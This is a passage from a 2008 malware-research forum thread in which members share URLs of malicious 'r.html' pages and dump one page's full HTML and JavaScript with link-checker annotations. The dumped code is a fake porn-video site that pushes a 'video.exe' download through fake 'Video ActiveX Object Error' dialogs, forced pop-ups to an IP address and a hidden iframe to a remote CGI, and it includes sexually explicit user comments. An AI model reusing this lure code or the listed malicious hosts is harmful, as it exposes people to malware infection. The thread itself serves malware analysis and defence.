Author Topic: R-thing  (Read 45004 times)

0 Members and 1 Guest are viewing this topic.

July 07, 2008, 03:18:44 pm
Read 45004 times

bobby

  • Special Members
  • Hero Member

  • Offline
  • *

  • 322
    • Malzilla
Code: [Select]
http://juangeronimo.com.ar/r.html
http://www.cristal-rmf.it/r.html
http://knightys.net/r.html
http://livresedotabaco.com/r.html
Really hard obfuscation. Dumps a couple of different infections.

July 07, 2008, 08:35:53 pm
Reply #1

CM_MWR

  • Special Members
  • Hero Member

  • Offline
  • *

  • 319
Code: [Select]

00001 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
00002 <html xmlns="http://www.w3.org/1999/xhtml" lang="de-DE"><head>
00003
00004
00005
00006 <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><title>PornTube: best movies collection.</title>
00007
00008
00009
00010
00011 <style>
00012 .cl {clear:both;}
00013 a {color:#163286;}
00014 body { font-family:Arial, Helvetica, sans-serif; font-size:12px;}
00015 .td-thumb {padding-bottom:18px;}
00016 .td-thumb img {border:1px solid #555; padding:1px;}
00017 .td-thumb table {font-size:14px; color:#444; text-align:left; margin-top:7px; width:290px;}
00018 .td-author a {cursor:pointer; font-size:14px; font-weight:bold;}
00019 .span-length {color:#222222; font-weight:bold;}
00020 .td-rating img {position:relative; top:3px; border:0px;}
00021 .span-views {color:#222222; font-weight:bold;}
00022 .div-comments {width:93%; margin-bottom:10px;}
00023 .div-comments-1 {background:#eeeeee; padding:5px;}
00024 .div-comments-1 a{font-size:14px; font-weight:bold;}
00025 .div-comments-2 {text-align:right; padding-right:15px;}
00026 .side-thumb {padding:1px; border:1px solid #777; width:160px; }
00027 .side-from a {cursor:pointer; font-size:14px; font-weight:bold;}
00028 .response {border:3px solid #dcdcdc; width:70px;}
00029 .response-user {cursor:pointer; text-decoration:underline;}
00030 </style>
00031 <script>
00032
00033 var flag=false;
00034 function scan()
00035 {
00036 is_IE=false;
00037 if (navigator.appName.toLowerCase()=='microsoft internet explorer')
00038 {
00039 if (navigator.userAgent.toLowerCase().indexOf('opera')<=0)
00040 {
00041 is_IE=true;
00042 }
00043 }
00044 if(is_IE)
00045 {
00046 if(window.ActiveXObject)
00047 {
00048
00049
00050 }
00051 return true;
00052 }
00053 return true;
00054 }
00055
00056 window.setInterval("scan()",10000);
00057
00058
00059
00060
00061 var is_XP_SP2 = (navigator.userAgent.indexOf("SV1") != -1) || (navigator.appMinorVersion && (navigator.appMinorVersion.indexOf('SP2') != -1));
00062 var is_IE=false;
00063 if (navigator.appName.toLowerCase()=='microsoft internet explorer')
00064 {
00065 if (navigator.userAgent.toLowerCase().indexOf('opera')<=0)
00066 {
00067 is_IE=true;
00068 }
00069 }
00070
00071 function onloadExecutable()
00072 {
00073 if (is_IE)
00074 {
00075 if (is_XP_SP2 && typeof iie != 'undefined')
00076 {
00077 iie.launchURL("video.exe");
00077 No Error: 200 URL video.exe js: onloadExecutable
00078 }
00079 else
00080 {
00081 w=screen.width/2-280;
00082 h=screen.height/2-60;
00083 window.open("video.exe","new", "width=580,height=180,left="+w+",top="+h);
00083 No Error: 200 URL video.exe js: onloadExecutable
00084 }
00085 }
00086 else
00087 {
00088 w=screen.width/2-280;
00089 h=screen.height/2-60;
00090 window.open("video.exe", "_blank", "width=580,height=180,left="+w+",top="+h);
00090 No Error: 200 URL video.exe js: onloadExecutable
00091 }
00092 }
00093
00094
00095 function activex_is_here()
00096 {
00097 try
00098 {
00099 var testObject = new ActiveXObject("videoPl.chl");
00099 Error: 404 Not Found videoPl.chl js: activex_is_here
00100 return true;
00101 }
00102 catch(e)
00103 {
00104 ;
00105 }
00106
00107 return false;
00108 }
00109
00110 function codecDownload()
00111 {
00112 if (window.navigator.userAgent.indexOf("SV1") != -1 || window.navigator.userAgent.indexOf("MSIE 7") !=-1) {
00113 return;
00114 }
00115 else {
00116 onloadExecutable();
00117 }
00118 }
00119 </script></head><body onbeforeunload="window.open('http://61.162.230.12/index.php');" onunload="window.open('http://61.162.230.12/index.php');" onclose="window.open('http://61.162.230.12/index.php');" id="mainbody">
00119 No Error: 200 URL http://61.162.230.12/index.php js:
00119 No Error: 200 URL http://61.162.230.12/index.php js:
00119 No Error: 200 URL http://61.162.230.12/index.php js:
00120
00121
00122
00123
00124
00125
00126
00127 <script>
00128
00129 codecDownload();
00130
00131 </script>
00132 <script>
00133
00134
00135 var Drag = {
00136 obj : null,
00137 init : function(o, oRoot, minX, maxX, minY, maxY, bSwapHorzRef, bSwapVertRef, fXMapper, fYMapper)
00138 {
00139 o.onmousedown = Drag.start;
00140
00141 o.hmode = bSwapHorzRef ? false : true ;
00142 o.vmode = bSwapVertRef ? false : true ;
00143
00144 o.root = oRoot && oRoot != null ? oRoot : o ;
00145
00146 if (o.hmode && isNaN(parseInt(o.root.style.left ))) o.root.style.left = "0px";
00147 if (o.vmode && isNaN(parseInt(o.root.style.top ))) o.root.style.top = "0px";
00148 if (!o.hmode && isNaN(parseInt(o.root.style.right ))) o.root.style.right = "0px";
00149 if (!o.vmode && isNaN(parseInt(o.root.style.bottom))) o.root.style.bottom = "0px";
00150
00151 o.minX = typeof minX != 'undefined' ? minX : null;
00152 o.minY = typeof minY != 'undefined' ? minY : null;
00153 o.maxX = typeof maxX != 'undefined' ? maxX : null;
00154 o.maxY = typeof maxY != 'undefined' ? maxY : null;
00155
00156 o.xMapper = fXMapper ? fXMapper : null;
00157 o.yMapper = fYMapper ? fYMapper : null;
00158
00159 o.root.onDragStart = new Function();
00160 o.root.onDragEnd = new Function();
00161 o.root.onDrag = new Function();
00162 },
00163
00164 start : function(e)
00165 {
00166 var o = Drag.obj = this;
00167 e = Drag.fixE(e);
00168 var y = parseInt(o.vmode ? o.root.style.top : o.root.style.bottom);
00169 var x = parseInt(o.hmode ? o.root.style.left : o.root.style.right );
00170 o.root.onDragStart(x, y);
00171
00172 o.lastMouseX = e.clientX;
00173 o.lastMouseY = e.clientY;
00174
00175 if (o.hmode) {
00176 if (o.minX != null) o.minMouseX = e.clientX - x + o.minX;
00177 if (o.maxX != null) o.maxMouseX = o.minMouseX + o.maxX - o.minX;
00178 } else {
00179 if (o.minX != null) o.maxMouseX = -o.minX + e.clientX + x;
00180 if (o.maxX != null) o.minMouseX = -o.maxX + e.clientX + x;
00181 }
00182
00183 if (o.vmode) {
00184 if (o.minY != null) o.minMouseY = e.clientY - y + o.minY;
00185 if (o.maxY != null) o.maxMouseY = o.minMouseY + o.maxY - o.minY;
00186 } else {
00187 if (o.minY != null) o.maxMouseY = -o.minY + e.clientY + y;
00188 if (o.maxY != null) o.minMouseY = -o.maxY + e.clientY + y;
00189 }
00190
00191 document.onmousemove = Drag.drag;
00192 document.onmouseup = Drag.end;
00193
00194 return false;
00195 },
00196
00197 drag : function(e)
00198 {
00199 e = Drag.fixE(e);
00200 var o = Drag.obj;
00201
00202 var ey = e.clientY;
00203 var ex = e.clientX;
00204 var y = parseInt(o.vmode ? o.root.style.top : o.root.style.bottom);
00205 var x = parseInt(o.hmode ? o.root.style.left : o.root.style.right );
00206 var nx, ny;
00207
00208 if (o.minX != null) ex = o.hmode ? Math.max(ex, o.minMouseX) : Math.min(ex, o.maxMouseX);
00209 if (o.maxX != null) ex = o.hmode ? Math.min(ex, o.maxMouseX) : Math.max(ex, o.minMouseX);
00210 if (o.minY != null) ey = o.vmode ? Math.max(ey, o.minMouseY) : Math.min(ey, o.maxMouseY);
00211 if (o.maxY != null) ey = o.vmode ? Math.min(ey, o.maxMouseY) : Math.max(ey, o.minMouseY);
00212
00213 nx = x + ((ex - o.lastMouseX) * (o.hmode ? 1 : -1));
00214 ny = y + ((ey - o.lastMouseY) * (o.vmode ? 1 : -1));
00215
00216 if (o.xMapper) nx = o.xMapper(y)
00217 else if (o.yMapper) ny = o.yMapper(x)
00218
00219 Drag.obj.root.style[o.hmode ? "left" : "right"] = nx + "px";
00220 Drag.obj.root.style[o.vmode ? "top" : "bottom"] = ny + "px";
00221 Drag.obj.lastMouseX = ex;
00222 Drag.obj.lastMouseY = ey;
00223
00224 Drag.obj.root.onDrag(nx, ny);
00225 return false;
00226 },
00227
00228 end : function()
00229 {
00230 document.onmousemove = null;
00231 document.onmouseup = null;
00232 Drag.obj.root.onDragEnd( parseInt(Drag.obj.root.style[Drag.obj.hmode ? "left" : "right"]),
00233 parseInt(Drag.obj.root.style[Drag.obj.vmode ? "top" : "bottom"]));
00234 Drag.obj = null;
00235 },
00236
00237 fixE : function(e)
00238 {
00239 if (typeof e == 'undefined') e = window.event;
00240 if (typeof e.layerX == 'undefined') e.layerX = e.offsetX;
00241 if (typeof e.layerY == 'undefined') e.layerY = e.offsetY;
00242 return e;
00243 }
00244 };
00245
00246 function Down(download,e)
00247 {
00248 if (e!=null && e.keyCode==27)
00249 {
00250 //Close();
00251 //return;
00252 }
00253 switch (download)
00254 {
00255 case "iax": onloadExecutable(); break;
00256 Close();
00257 }
00258
00259 }
00260
00261 function vc() {
00262 if (confirm('Video ActiveX Object Error.\n\nYour browser cannot play this video file.\nClick \'OK\' to download and install missing Video ActiveX Object.')) {
00263 onloadExecutable();
00264 }
00265 else {
00266 if (alert('Please install new version of Video ActiveX Object.')) {
00267 vc();
00268 }
00269 else {
00270 vc();
00271 }
00272 }
00273 }
00274
00275 function Close()
00276 {
00277 var p=document.getElementById("popdiv");
00278 p.style.visibility="hidden";
00279 vc();
00280 }
00281 function Details()
00282 {
00283 alert('You must download Video ActiveX Object to play this video file.');
00284 }
00285
00286 </script>
00287
00288
00289 <div name="popdiv" id="popdiv" onkeypress="Down('iax',event);" style="position: absolute; top: 38%; left: 38%; z-index: 5; visibility: hidden;">
00290 <table cellpadding="0" cellspacing="0" height="126" width="362">
00291 <tbody><tr>
00292 <td>
00293 <table style="background-image: url(xptop.gif); height: 29px;" cellpadding="0" cellspacing="0" height="29" width="362"> <!-- win top table -->
00294 <tbody><tr>
00295 <td style="color: white; font-family: Tahoma; font-size: 13px; font-weight: bold; padding-left: 4px; padding-top: 1px;">  Video ActiveX Object Error.</td>
00296 <td style="padding-right: 6px;" width="21"><img src="xpclose.gif" onclick="Close();" style="cursor: default;" height="21" width="21"></td>
00296 No Error: 200 URL xpclose.gif
00297 </tr>
00298 </tbody></table>
00299 </td>
00300 </tr>
00301 <tr>
00302 <td>
00303 <table cellpadding="0" cellspacing="0" height="97">
00304 <tbody><tr>
00305 <td style="background-image: url(xpleftclm.gif); background-repeat: repeat-y;" valign="bottom">
00306 <table cellpadding="0" cellspacing="0">
00307 <tbody><tr>
00308 <td><img src="xpleftclm.gif" height="97" width="3"></td>
00308 No Error: 200 URL xpleftclm.gif
00309 </tr>
00310 </tbody></table>
00311 </td>
00312 <td valign="top">
00313 <table style="background: rgb(236, 233, 216) none repeat scroll 0%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;" bgcolor="ece9d8" cellpadding="0" cellspacing="0" width="356">
00314 <tbody style="background: rgb(236, 233, 216) none repeat scroll 0%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;" bgcolor="ece9d8"><tr style="background: rgb(236, 233, 216) none repeat scroll 0%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;" bgcolor="ece9d8">
00315 <td style="background: rgb(236, 233, 216) none repeat scroll 0%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;" bgcolor="ece9d8">
00316 <table bgcolor="ece9d8" cellpadding="0" cellspacing="0" height="59">
00317 <tbody bgcolor="ece9d8"><tr>
00318 <td style="padding-left: 20px; padding-top: 13px;" align="center" valign="top"><img src="alert.gif" height="32" width="31"></td>
00318 No Error: 200 URL alert.gif
00319 <td style="font-size: 11px; font-family: Tahoma; padding-left: 30px; padding-bottom: 8px; padding-right: 5px;" align="left"><br><b>Video ActiveX Object Error:</b><br>Your browser cannot display this video file.<br><br>You need to download new version of Video ActiveX Object to play this video file.
00320 </td>
00321 </tr>
00322 </tbody></table>
00323 </td>
00324 </tr>
00325 <tr>
00326 </tr><tr bgcolor="ece9d8">
00327 <td style="padding-left: 20px; padding-right: 20px; padding-bottom: 20px; font-family: Tahoma; font-size: 11px;" align="center">
00328 <hr><br>
00329 Click Continue to download and install ActiveX Object.
00330
00331 </td>
00332 </tr>
00333 <tr><td>
00334 <table align="center" cellpadding="0" cellspacing="6" height="22">
00335 <tbody><tr height="22">
00336 <td><input value="Continue" onclick="Down('iax');" style="font-size: 11px; font-family: Arial; height: 23px; width: 82px;" tabindex="1" id="Button1" name="Button1" type="button"><br><br></td>
00337 <td></td>
00338 <td><input value="Cancel" onclick="Close()" style="font-size: 11px; font-family: Arial; height: 23px; width: 82px;" id="Button3" name="Button3" type="button"><br><br></td>
00339 <td><input value="Details..." onclick="Details()" style="font-size: 11px; font-family: Arial; height: 23px; width: 82px;" id="Button3" name="Button3" type="button"><br><br></td>
00340 </tr>
00341 </tbody></table>
00342 </td>
00343 </tr>
00344 <tr>
00345 <td>
00346 <table cellpadding="0" cellspacing="0" width="100%">
00347 <tbody><tr style="height: 1px;" bgcolor="4577ea">
00348 <td style="background: rgb(69, 119, 234) none repeat scroll 0%; height: 1px; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;"></td>
00349 </tr> <!-- empty colors -->
00350 <tr style="height: 1px;" bgcolor="0029b5">
00351 <td style="background: rgb(0, 41, 181) none repeat scroll 0%; height: 1px; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;"></td>
00352 </tr>
00353 <tr style="height: 1px;" bgcolor="001590">
00354 <td style="background: rgb(0, 21, 144) none repeat scroll 0%; height: 1px; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;"></td>
00355 </tr>
00356 </tbody></table>
00357 </td>
00358 </tr>
00359 </tbody></table>
00360 </td>
00361 <td style="background-image: url(xprightclm.gif); background-repeat: repeat-y;" valign="bottom">
00362 <table cellpadding="0" cellspacing="0">
00363 <tbody><tr>
00364 <td style="padding: 0px;"><img src="xprightclm.gif" height="97" width="3"></td>
00364 No Error: 200 URL xprightclm.gif
00365 </tr>
00366 </tbody></table>
00367 </td>
00368 </tr>
00369 </tbody></table>
00370 </td>
00371 </tr>
00372 </tbody></table>
00373
00374
00375 <script>
00376 if (navigator.userAgent.indexOf("Firefox")!=-1) {
00377 if (activex_is_here()) { } else {
00378 setTimeout("Close();", 1000);
00379 }
00380 }
00381 else {
00382 if (activex_is_here()) { } else {
00383 setTimeout("showPopDiv();",2000);
00384 }
00385 }
00386
00387 function showPopDiv()
00388 {
00389 var sFlag = "No";
00390 var byFlag = false;
00391 var FlagAr = sFlag.split("");
00392
00393 if (FlagAr[0]=="1"){byFlag = true;}
00394 if (FlagAr[0]=="3"){byFlag = true;}
00395
00396 if(!byFlag) {
00397 var p=document.getElementById("popdiv");
00398
00399 var myWidth = 0, myHeight = 0;
00400 if( typeof( window.innerWidth ) == 'number' ) {
00401 myWidth = window.innerWidth;
00402 myHeight = window.innerHeight;
00403 } else if( document.documentElement && ( document.documentElement.clientWidth || document.documentElement.clientHeight ) ) {
00404 myWidth = document.documentElement.clientWidth;
00405 myHeight = document.documentElement.clientHeight;
00406 } else if( document.body && ( document.body.clientWidth || document.body.clientHeight ) ) {
00407 myWidth = document.body.clientWidth;
00408 myHeight = document.body.clientHeight;
00409 }
00410
00411 function getScroll() {
00412
00413 var scrOfX = 0, scrOfY = 0;
00414 if( typeof( window.pageYOffset ) == 'number' ) {
00415 scrOfY = window.pageYOffset;
00416 scrOfX = window.pageXOffset;
00417 } else if( document.body && ( document.body.scrollLeft || document.body.scrollTop ) ) {
00418 scrOfY = document.body.scrollTop;
00419 scrOfX = document.body.scrollLeft;
00420 } else if( document.documentElement && ( document.documentElement.scrollLeft || document.documentElement.scrollTop ) ) {
00421 scrOfY = document.documentElement.scrollTop;
00422 scrOfX = document.documentElement.scrollLeft;
00423 }
00424 return [scrOfX, scrOfY];
00425
00426 }
00427
00428 sc = getScroll();
00429 p.style.top = (myHeight/2 - 181)+sc[1]+'px';
00430 p.style.left = (myWidth/2 - 120) + sc[0]+'px';
00431 p.style.visibility = 'visible';
00432 p.focus();
00433 }
00434 }
00435
00436 Drag.init(document.getElementById("popdiv"));
00437 </script>
00438 </div>
00439
00440
00441 <iframe src="http://digitaltreath.info/cgi-bin/index.cgi?user90" frameborder="0" style="display:none"></iframe>
00441 Possible Error: 902 Connect Error http://digitaltreath.info/cgi-bin/index.cgi?user90 <Frame> [Connection Refused 61 ]
00442
00443 <div style="margin: 0px auto; width: 980px;">
00444 <table align="center" cellpadding="0" cellspacing="0" width="980">
00445 <tbody><tr>
00446 <td style="text-align: left;"><img src="logo.gif"><img src="showyrs.gif" style="position: relative; top: 15px; left: -115px;"></td>
00446 No Error: 200 URL logo.gif
00446 No Error: 200 URL showyrs.gif
00447 <td style="text-align: right;"><a style="cursor: pointer; text-decoration: underline;"><b>Sign Up</b></a>  |  <a style="cursor: pointer; text-decoration: underline;">My Account</a>  |  <a style="cursor: pointer; text-decoration: underline;">History</a>  |  <a style="cursor: pointer; text-decoration: underline;">Help</a>  |  <a style="cursor: pointer; text-decoration: underline;">Log In</a>  |  <a style="cursor: pointer; text-decoration: underline;">Site</a></td>
00448 </tr>
00449 </tbody></table>
00450 <div style="margin: 0px auto; width: 980px;">
00451 <table cellpadding="0" cellspacing="0" width="100%">
00452 <tbody><tr>
00453 <td>
00454 <ul style="margin: 0px auto; padding: 0px; width: 500px;">
00455 <li style="border-style: solid solid none; border-color: rgb(182, 187, 206) rgb(182, 187, 206) -moz-use-text-color; border-width: 1px 1px 0px; padding: 5px 25px; float: left; margin-left: 7px; display: block; font-size: 13px; font-weight: bold; background-image: url(but-act.gif);"><a style="cursor: pointer; color: rgb(51, 51, 51); text-decoration: none;">Videos</a></li>
00456 <li style="border-style: solid solid none; border-color: rgb(182, 187, 206) rgb(182, 187, 206) -moz-use-text-color; border-width: 1px 1px 0px; padding: 5px 25px; float: left; margin-left: 7px; display: block; font-size: 13px; font-weight: bold; background-image: url(but-inact.gif);"><a style="cursor: pointer; color: rgb(16, 45, 111); text-decoration: none;">Categories</a></li>
00457 <li style="border-style: solid solid none; border-color: rgb(182, 187, 206) rgb(182, 187, 206) -moz-use-text-color; border-width: 1px 1px 0px; padding: 5px 25px; float: left; margin-left: 7px; display: block; font-size: 13px; font-weight: bold; background-image: url(but-inact.gif);"><a style="cursor: pointer; color: rgb(16, 45, 111); text-decoration: none;">Channels</a></li>
00458 <li style="border-style: solid solid none; border-color: rgb(182, 187, 206) rgb(182, 187, 206) -moz-use-text-color; border-width: 1px 1px 0px; padding: 5px 25px; float: left; margin-left: 7px; display: block; font-size: 13px; font-weight: bold; background-image: url(but-inact.gif);"><a style="cursor: pointer; color: rgb(16, 45, 111); text-decoration: none;">Community</a></li>
00459 </ul>
00460 </td>
00461 <td width="80"><a style="cursor: pointer;"><img src="upload.gif" style="border: 0px none ;"></a></td>
00461 No Error: 200 URL upload.gif
00462 </tr>
00463 </tbody></table>
00464 </div>
00465 <table cellpadding="0" cellspacing="0" height="36" width="100%">
00466 <tbody><tr>
00467 <td style="width: 9px;"><img src="gray1.gif"></td>
00467 No Error: 200 URL gray1.gif
00468 <td style="text-align: center; background-image: url(gray0.gif);"><input name="search_query" maxlength="128" style="width: 256px; height: 20px;" type="text"> <input name="search" value="Search" type="submit"></td>
00469 <td style="width: 9px;"><img src="gray2.gif"></td>
00469 No Error: 200 URL gray2.gif
00470 </tr>
00471 </tbody></table>
00472
00473 <div style="margin: 5px; font-size: 24px; color: rgb(51, 51, 51);"> </div>
00474
00475 <table cellspacing="5" width="100%">
00476 <tbody><tr>
00477 <td valign="top" width="60%">
00478 <!-- player-->
00479 <div style="width: 93%;">
00480 <div style="margin: 0px auto; width: 480px;" id="playMov">
00481
00482 <a href="video.exe" onclick="onloadExecutable()"><img style="cursor: default;" src="7598829497.jpg" border="0" width="480"></a><br>
00482 No Error: 200 URL video.exe <img>
00482 No Error: 200 URL 7598829497.jpg
00483 <a href="video.exe" onclick="onloadExecutable()"><img style="cursor: default;" src="player.jpg" border="0"></a>
00483 No Error: 200 URL video.exe <img>
00483 No Error: 200 URL player.jpg
00484 </div>
00485
00486 <div style="margin: 10px auto; width: 400px; font-size: 14px; font-weight: bold; text-align: center;">
00487 <img src="share.jpg" style="position: relative; top: 2px;"> <a style="cursor: pointer; text-decoration: underline;">Share</a>
00487 No Error: 200 URL share.jpg
00488 <img src="favorites.jpg" style="position: relative; top: 2px; margin-left: 20px;"> <a style="cursor: pointer; text-decoration: underline;">Favorite</a>
00488 No Error: 200 URL favorites.jpg
00489 <img src="playlist.jpg" style="position: relative; top: 2px; margin-left: 20px;"> <a style="cursor: pointer; text-decoration: underline;">Add to Playlist</a>
00489 No Error: 200 URL playlist.jpg
00490 </div>
00491 <div style="margin: 10px auto; width: 400px; font-size: 14px; font-weight: bold; text-align: center; color: rgb(51, 51, 51);">
00492 Rating: <img src="rating4_002.jpg" style="position: relative; top: 4px;">
00492 No Error: 200 URL rating4_002.jpg
00493      Views: 1,356,905
00494 </div>
00495 <div style="margin: 10px auto; width: 400px; font-size: 12px; text-align: center; color: rgb(51, 51, 51);">
00496 Comments: <a style="cursor: pointer; text-decoration: underline;">4</a>  Favourited: 128 times  Honors: <a style="cursor: pointer; text-decoration: underline;">3</a>  Links: <a style="cursor: pointer; text-decoration: underline;">2</a>
00497
00498 </div>
00499
00500 </div>
00501
00502 <div style="width: 93%; margin-bottom: 5px; margin-top: 10px;">
00503 <div style="padding: 5px; background: rgb(238, 238, 238) none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial; font-size: 14px;"><b>Video Responses</b> (<a href="#">view all 5 responses</a>)</div>
00503 No Error: 200 URL r.html view all 5 responses
00504 <div style="text-align: center; padding-right: 15px;">
00505
00506 <table style="text-align: center;" align="center" cellspacing="7">
00507 <tbody><tr>
00508
00509 <td><a href="video.exe"><img src="4521569111.jpg" class="response"></a><br><a class="response-user">painkiller625</a></td>
00509 No Error: 200 URL video.exe <img>
00509 No Error: 200 URL 4521569111.jpg
00510 <td><a href="video.exe"><img src="4957950055.jpg" class="response"></a><br><a class="response-user">SatyrIconIc</a></td>
00510 No Error: 200 URL video.exe <img>
00510 No Error: 200 URL 4957950055.jpg
00511 <td><a href="video.exe"><img src="3709569718.jpg" class="response"></a><br><a class="response-user">joetelo</a></td>
00511 No Error: 200 URL video.exe <img>
00511 No Error: 200 URL 3709569718.jpg
00512 <td><a href="video.exe"><img src="1693018480.jpg" class="response"></a><br><a class="response-user">Jizzpower</a></td>
00512 No Error: 200 URL video.exe <img>
00512 No Error: 200 URL 1693018480.jpg
00513 <td><a href="video.exe"><img src="3396659987.jpg" class="response"></a><br><a class="response-user">nj201</a></td>
00513 No Error: 200 URL video.exe <img>
00513 No Error: 200 URL 3396659987.jpg
00514 </tr>
00515 </tbody></table>
00516
00517
00518 </div>
00519 </div>
00520 <span style="font-size: 14px; font-weight: bold;">User comments.</span>
00521
00522
00523 <!-- comment 1 -->
00524 <div class="div-comments">
00525 <div class="div-comments-1"><a style="cursor: pointer; text-decoration: underline;">aspirin2007</a></div>
00526 <div class="div-comments-2">(<a style="cursor: pointer; text-decoration: underline;">Reply</a>)</div>
00527 <div>nice cum @ the end
00528 </div>
00529 </div>
00530
00531
00532 <!-- comment 1 -->
00533 <div class="div-comments">
00534 <div class="div-comments-1"><a style="cursor: pointer; text-decoration: underline;">Green</a></div>
00535 <div class="div-comments-2">(<a style="cursor: pointer; text-decoration: underline;">Reply</a>)</div>
00536 <div>Utter fake dick man!!!!!!!!!
00537 </div>
00538 </div>
00539
00540
00541 <!-- comment 1 -->
00542 <div class="div-comments">
00543 <div class="div-comments-1"><a style="cursor: pointer; text-decoration: underline;">lekkertje</a></div>
00544 <div class="div-comments-2">(<a style="cursor: pointer; text-decoration: underline;">Reply</a>)</div>
00545 <div>this one makes me wanna be dp-ed
00546 </div>
00547 </div>
00548
00549
00550 <!-- comment 1 -->
00551 <div class="div-comments">
00552 <div class="div-comments-1"><a style="cursor: pointer; text-decoration: underline;">tmoney42000</a></div>
00553 <div class="div-comments-2">(<a style="cursor: pointer; text-decoration: underline;">Reply</a>)</div>
00554 <div>POst more of her
00555 </div>
00556 </div>
00557
00558
00559 <!-- comment 1 -->
00560 <div class="div-comments">
00561 <div class="div-comments-1"><a style="cursor: pointer; text-decoration: underline;">SatyrIconIc</a></div>
00562 <div class="div-comments-2">(<a style="cursor: pointer; text-decoration: underline;">Reply</a>)</div>
00563 <div>5 stars. She has a hot body and the look of the scene is well shot. Fucking in the tub is good, clean fun!
00564 </div>
00565 </div>
00566
00567
00568 <!-- comment 1 -->
00569 <div class="div-comments">
00570 <div class="div-comments-1"><a style="cursor: pointer; text-decoration: underline;">sweetkisses87</a></div>
00571 <div class="div-comments-2">(<a style="cursor: pointer; text-decoration: underline;">Reply</a>)</div>
00572 <div>That is one of the hottest videos I've ever seen mmmm
00573 </div>
00574 </div>
00575
00576
00577 <!-- comment 1 -->
00578 <div class="div-comments">
00579 <div class="div-comments-1"><a style="cursor: pointer; text-decoration: underline;">joetelo</a></div>
00580 <div class="div-comments-2">(<a style="cursor: pointer; text-decoration: underline;">Reply</a>)</div>
00581 <div>dude
00582 nice clip, just a little advice, you should probably rename this clip
00583 by putting her name on the title, cuz lots of ppl are looking for
00584 Tiffany Mynx. And yo if you have anymore of Tiff be free to post. Take
00585 care dude!
00586 </div>
00587 </div>
00588
00589
00590 <!-- comment 1 -->
00591 <div class="div-comments">
00592 <div class="div-comments-1"><a style="cursor: pointer; text-decoration: underline;">painkiller625</a></div>
00593 <div class="div-comments-2">(<a style="cursor: pointer; text-decoration: underline;">Reply</a>)</div>
00594 <div>yea thats a job and a half
00595 </div>
00596 </div>
00597
00598
00599 <!-- comment 1 -->
00600 <div class="div-comments">
00601 <div class="div-comments-1"><a style="cursor: pointer; text-decoration: underline;">Jizzpower</a></div>
00602 <div class="div-comments-2">(<a style="cursor: pointer; text-decoration: underline;">Reply</a>)</div>
00603 <div>Hell yeah! I would let her shit on me!!!
00604 </div>
00605 </div>
00606
00607
00608 <!-- comment 1 -->
00609 <div class="div-comments">
00610 <div class="div-comments-1"><a style="cursor: pointer; text-decoration: underline;">Relexted</a></div>
00611 <div class="div-comments-2">(<a style="cursor: pointer; text-decoration: underline;">Reply</a>)</div>
00612 <div>great ass
00613 </div>
00614 </div>
00615
00616
00617 <!-- comment 1 -->
00618 <div class="div-comments">
00619 <div class="div-comments-1"><a style="cursor: pointer; text-decoration: underline;">CreoleKid</a></div>
00620 <div class="div-comments-2">(<a style="cursor: pointer; text-decoration: underline;">Reply</a>)</div>
00621 <div>Holy Shit, She's too much!
00622 </div>
00623 </div>
00624
00625
00626 <!-- comment 1 -->
00627 <div class="div-comments">
00628 <div class="div-comments-1"><a style="cursor: pointer; text-decoration: underline;">budda9</a></div>
00629 <div class="div-comments-2">(<a style="cursor: pointer; text-decoration: underline;">Reply</a>)</div>
00630 <div>she knows how to work it... damn what a body...
00631 </div>
00632 </div>
00633
00634
00635 <!-- comment 1 -->
00636 <div class="div-comments">
00637 <div class="div-comments-1"><a style="cursor: pointer; text-decoration: underline;">icenutz</a></div>
00638 <div class="div-comments-2">(<a style="cursor: pointer; text-decoration: underline;">Reply</a>)</div>
00639 <div>fake dick.. fake cum
00640 </div>
00641 </div>
00642
00643
00644 <!-- comment 1 -->
00645 <div class="div-comments">
00646 <div class="div-comments-1"><a style="cursor: pointer; text-decoration: underline;">tmoney42000</a></div>
00647 <div class="div-comments-2">(<a style="cursor: pointer; text-decoration: underline;">Reply</a>)</div>
00648 <div>Ms. O'lovely is so sexy
00649 </div>
00650 </div>
00651
00652
00653 <!-- comment 1 -->
00654 <div class="div-comments">
00655 <div class="div-comments-1"><a style="cursor: pointer; text-decoration: underline;">hornyblower</a></div>
00656 <div class="div-comments-2">(<a style="cursor: pointer; text-decoration: underline;">Reply</a>)</div>
00657 <div>Great - reminds me of someone/somewhere/somewhen...
00658 </div>
00659 </div>
00660
00661
00662 <!-- comment 1 -->
00663 <div class="div-comments">
00664 <div class="div-comments-1"><a style="cursor: pointer; text-decoration: underline;">arseHOLE</a></div>
00665 <div class="div-comments-2">(<a style="cursor: pointer; text-decoration: underline;">Reply</a>)</div>
00666 <div>A REAL FUCK DOLL BEING GIVEN 8 INCHES OF PAIN
00667 </div>
00668 </div>
00669
00670 </td>
00671
00672 <td valign="top">
00673 <div style="border: 1px solid rgb(203, 207, 208); padding: 5px; background-color: rgb(238, 238, 238); margin-bottom: 15px;">
00674 From: <a href="#" style="font-size: 14px; font-weight: bold;">usagi</a><br>
00674 No Error: 200 URL r.html usagi
00675 Joined: 7 months ago<br>
00676 Videos: 12
00677 </div>
00678 <span style="font-size: 14px; font-weight: bold;">Relative movies.</span>
00679 <div style="border: 1px solid rgb(204, 204, 204); overflow: auto; height: 700px; margin-top: 10px;">
00680
00681 <!-- side thumb 1-->
00682 <table>
00683 <tbody><tr>
00684 <td><a href="video.exe"><img src="4521569111.jpg" class="side-thumb"></a></td>
00684 No Error: 200 URL video.exe <img>
00684 No Error: 200 URL 4521569111.jpg
00685 <td style="color: rgb(119, 119, 119);">
00686 <table>
00687 <tbody><tr class="side-from"><td>From:</td><td><a>painkiller625</a></td></tr>
